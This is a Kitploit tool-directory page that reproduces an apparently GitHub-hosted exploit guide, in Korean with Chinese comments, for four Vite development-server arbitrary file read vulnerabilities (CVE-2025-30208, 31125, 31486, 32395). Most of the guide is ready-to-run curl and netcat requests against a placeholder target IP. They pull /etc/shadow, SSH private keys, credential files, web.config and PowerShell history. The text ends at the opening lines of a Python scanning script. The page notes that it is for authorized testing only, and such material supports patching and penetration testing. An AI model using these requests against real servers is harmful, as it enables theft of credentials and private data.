Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-30208-31125-31486-32395 — 네 가지 Vite 개발 서버 임의 파일 읽기 취약점(CVE-2025-30208/31125/31486/32395)에 대한 익스플로잇 가이드 및 자동 탐지 스크립트 (Linux 및 Windows 예제 포함) | Kitploit
도구/GitHubGitHub/nkuty/cve-2025-30208-31125-31486-32395
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingLearning & Education
GitHubnkuty/cve-2025-30208-31125-31486-32395

CVE-2025-30208-31125-31486-32395

네 가지 Vite 개발 서버 임의 파일 읽기 취약점(CVE-2025-30208/31125/31486/32395)에 대한 익스플로잇 가이드 및 자동 탐지 스크립트 (Linux 및 Windows 예제 포함)

저장소 보기
5211년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Vite 취약점 악용 가이드 (CVE-2025-30208/31125/31486/32395)

이 문서는 Vite 개발 서버에서 발생하는 네 가지 임의 파일 읽기 취약점의 악용 방법을 요약하며, Linux 및 Windows 시스템 예제를 포함합니다. 참고: 승인된 보안 테스트 환경에서만 사용하세요.

기본 원리

Vite 개발 서버의 이 네 가지 취약점은 모두 공격자가 server.fs.deny 제한을 우회하여 서버의 임의 파일을 읽을 수 있도록 합니다. 각 취약점은 서로 다른 우회 기술을 사용하지만 기본 원리는 유사합니다.

영향 조건

네 가지 취약점 모두 다음 조건이 충족되어야 악용이 가능합니다:

  1. 대상이 영향을 받는 버전의 Vite 개발 서버를 사용 중
  2. 개발 서버가 네트워크에 명시적으로 노출됨 (--host 또는 server.host 설정 옵션 사용)
  3. CVE-2025-32395의 경우, 서버가 Node 또는 Bun(Deno 제외) 환경에서 실행 중

취약점 악용 방법

1. CVE-2025-30208 (후행 구분자 우회)

영향 버전: < 6.2.3, < 6.1.2, < 6.0.12, < 5.4.15, < 4.5.10

수정 버전: 6.2.3, 6.1.2, 6.0.12, 5.4.15, 4.5.10

악용 원리: URL에 ?raw?? 또는 ?import&raw?? 쿼리 매개변수를 추가하여 @fs 경로 제한을 우회합니다. 이는 후행 구분자(예: ?)가 여러 위치에서 제거되지만 쿼리 문자열 정규 표현식에서는 고려되지 않았기 때문입니다.

Linux 시스템 악용 예제:```bash

读取任意文件

curl "http://[目标IP]:5173/@fs/etc/passwd?raw??" curl "http://[目标IP]:5173/@fs/etc/passwd?import&raw??" curl "http://[目标IP]:5173/@fs/var/log/auth.log?raw??" curl "http://[目标IP]:5173/@fs/home/[用户名]/.ssh/id_rsa?raw??"

验证漏洞是否存在

curl "http://[目标IP]:5173/@fs/etc/passwd" # 应返回403错误 curl "http://[目标IP]:5173/@fs/etc/passwd?raw??" # 如果返回文件内容,则存在漏洞

**Windows 시스템 활용 예시**:```bash
# 读取任意文件
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?raw??"
curl "http://[目标IP]:5173/@fs/C:/Windows/system32/drivers/etc/hosts?raw??"
curl "http://[目标IP]:5173/@fs/C:/Users/Administrator/Desktop/credentials.txt?raw??"
curl "http://[目标IP]:5173/@fs/C:/inetpub/wwwroot/web.config?raw??"

# 验证漏洞是否存在
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini"  # 应返回403错误
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?raw??"  # 如果返回文件内容,则存在漏洞

2. CVE-2025-31125 (특정 가져오기 방법 우회)

영향을 받는 버전: CVE-2025-30208과 동일

수정된 버전: CVE-2025-30208과 동일

이용 원리: 특정 가져오기 방법(예: ?inline&import 또는 ?raw?import)을 사용하여 server.fs.deny 구성을 우회합니다.

Linux 시스템 이용 예제:```bash

读取任意文件

curl "http://[目标IP]:5173/@fs/etc/passwd?inline&import" curl "http://[目标IP]:5173/@fs/etc/passwd?raw?import" curl "http://[目标IP]:5173/@fs/etc/shadow?inline&import" curl "http://[目标IP]:5173/@fs/proc/self/environ?inline&import"

验证漏洞是否存在

curl "http://[目标IP]:5173/@fs/etc/passwd" # 应返回403错误 curl "http://[目标IP]:5173/@fs/etc/passwd?inline&import" # 如果返回文件内容,则存在漏洞

**Windows 시스템 활용 예시**:```bash
# 读取任意文件
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?inline&import"
curl "http://[目标IP]:5173/@fs/C:/Windows/system32/drivers/etc/hosts?inline&import"
curl "http://[目标IP]:5173/@fs/C:/Program Files/MySQL/MySQL Server 8.0/my.ini?inline&import"
curl "http://[目标IP]:5173/@fs/C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt?inline&import"

# 验证漏洞是否存在
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini"  # 应返回403错误
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?inline&import"  # 如果返回文件内容,则存在漏洞

3. CVE-2025-31486 (SVG 및 상대 경로 우회)

영향을 받는 버전: < 6.2.5, < 6.1.4, < 6.0.14, < 5.4.17, < 4.5.12

수정된 버전: 6.2.5, 6.1.4, 6.0.14, 5.4.17, 4.5.12

악용 원리:

  1. SVG 우회: ?.svg?.wasm?init 추가 또는 sec-fetch-dest: script 헤더 사용을 통해 .svg 파일에 대한 제한 검사 우회
  2. 상대 경로 우회: ID 정규화 전 검사 취약점을 이용하여 상대 경로(예: ../../)를 사용해 제한 우회

Linux 시스템 악용 예시:```bash

SVG绕过方法

curl "http://[目标IP]:5173/etc/passwd?.svg?.wasm?init" curl -H "sec-fetch-dest: script" "http://[目标IP]:5173/etc/passwd?.svg" curl "http://[目标IP]:5173/etc/nginx/nginx.conf?.svg?.wasm?init" curl "http://[目标IP]:5173/var/www/html/config.php?.svg?.wasm?init"

相对路径绕过方法

curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw" curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../etc/shadow?import&?raw" curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../var/log/auth.log?import&?raw"

验证漏洞是否存在

curl "http://[目标IP]:5173/etc/passwd" # 应返回404错误 curl "http://[目标IP]:5173/etc/passwd?.svg?.wasm?init" # 如果返回文件内容,则存在漏洞

**Windows 시스템 활용 예시**:```bash
# SVG绕过方法
curl "http://[目标IP]:5173/C:/Windows/win.ini?.svg?.wasm?init"
curl -H "sec-fetch-dest: script" "http://[目标IP]:5173/C:/Windows/win.ini?.svg"
curl "http://[目标IP]:5173/C:/inetpub/wwwroot/web.config?.svg?.wasm?init"
curl "http://[目标IP]:5173/C:/Windows/Panther/Unattend.xml?.svg?.wasm?init"

# 相对路径绕过方法
curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../C:/Windows/win.ini?import&?raw"
curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../C:/Windows/system32/drivers/etc/hosts?import&?raw"
curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../C:/Users/Administrator/Desktop/credentials.txt?import&?raw"

# 验证漏洞是否存在
curl "http://[目标IP]:5173/C:/Windows/win.ini"  # 应返回404错误
curl "http://[目标IP]:5173/C:/Windows/win.ini?.svg?.wasm?init"  # 如果返回文件内容,则存在漏洞

주의: SVG 우회는 파일이 build.assetsInlineLimit (기본값 4kB)보다 작고 Vite 6.0+를 사용하는 경우에만 유효합니다.

4. CVE-2025-32395 (잘못된 요청 대상 우회)

영향 버전: < 6.2.6, < 6.1.5, < 6.0.15, < 5.4.18, < 4.5.13

수정 버전: 6.2.6, 6.1.5, 6.0.15, 5.4.18, 4.5.13

익스플로잇 원리: HTTP 1.1 사양에서 request-target에 # 문자를 허용하지 않는 특성을 이용합니다. Node 및 Bun 런타임에서 이러한 요청은 내부적으로 거부되지 않으며, http.IncomingMessage.url에는 #이 포함되고 Vite는 server.fs.deny를 검사할 때 req.url에 #이 포함되지 않을 것이라고 가정합니다.

Linux 시스템 익스플로잇 예시:```bash

使用curl的--request-target选项

curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../etc/passwd" "http://[目标IP]:5173" curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../etc/shadow" "http://[目标IP]:5173" curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../var/www/html/wp-config.php" "http://[目标IP]:5173"

或使用原始HTTP请求

echo -e "GET /@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../etc/passwd HTTP/1.1\r\nHost: [目标IP]:5173\r\nConnection: close\r\n\r\n" | nc [目标IP] 5173 echo -e "GET /@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../etc/shadow HTTP/1.1\r\nHost: [目标IP]:5173\r\nConnection: close\r\n\r\n" | nc [目标IP] 5173

验证漏洞是否存在

curl "http://[目标IP]:5173/@fs/etc/passwd" # 应返回403错误 curl --request-target "/@fs/x/#/../../../../../etc/passwd" "http://[目标IP]:5173" # 如果返回文件内容,则存在漏洞

**Windows 시스템 이용 예시**:```bash
# 使用curl的--request-target选项
curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../C:/Windows/win.ini" "http://[目标IP]:5173"
curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../C:/Windows/system32/drivers/etc/hosts" "http://[目标IP]:5173"
curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../C:/inetpub/wwwroot/web.config" "http://[目标IP]:5173"
curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../C:/Program Files/Microsoft SQL Server/MSSQL15.SQLEXPRESS/MSSQL/DATA/master.mdf" "http://[目标IP]:5173"

# 或使用原始HTTP请求
echo -e "GET /@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../C:/Windows/win.ini HTTP/1.1\r\nHost: [目标IP]:5173\r\nConnection: close\r\n\r\n" | nc [目标IP] 5173
echo -e "GET /@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt HTTP/1.1\r\nHost: [目标IP]:5173\r\nConnection: close\r\n\r\n" | nc [目标IP] 5173

# 验证漏洞是否存在
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini"  # 应返回403错误
curl --request-target "/@fs/x/#/../../../../../C:/Windows/win.ini" "http://[目标IP]:5173"  # 如果返回文件内容,则存在漏洞

참고: 이 취약점은 Node 또는 Bun(Deno 제외) 환경에서 실행되는 Vite 서버에만 영향을 미칩니다.

종합 활용 스크립트

다음 Python 스크립트는 대상이 이 네 가지 취약점 중 하나라도 존재하는지 자동으로 감지하고 더 많은 테스트 경로를 포함합니다:```python #!/usr/bin/env python3 #This script is made by "nkuty" import requests import argparse import sys import socket import random import string import urllib.parse from urllib3.exceptions import InsecureRequestWarning

禁用SSL警告

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

도구 다운로드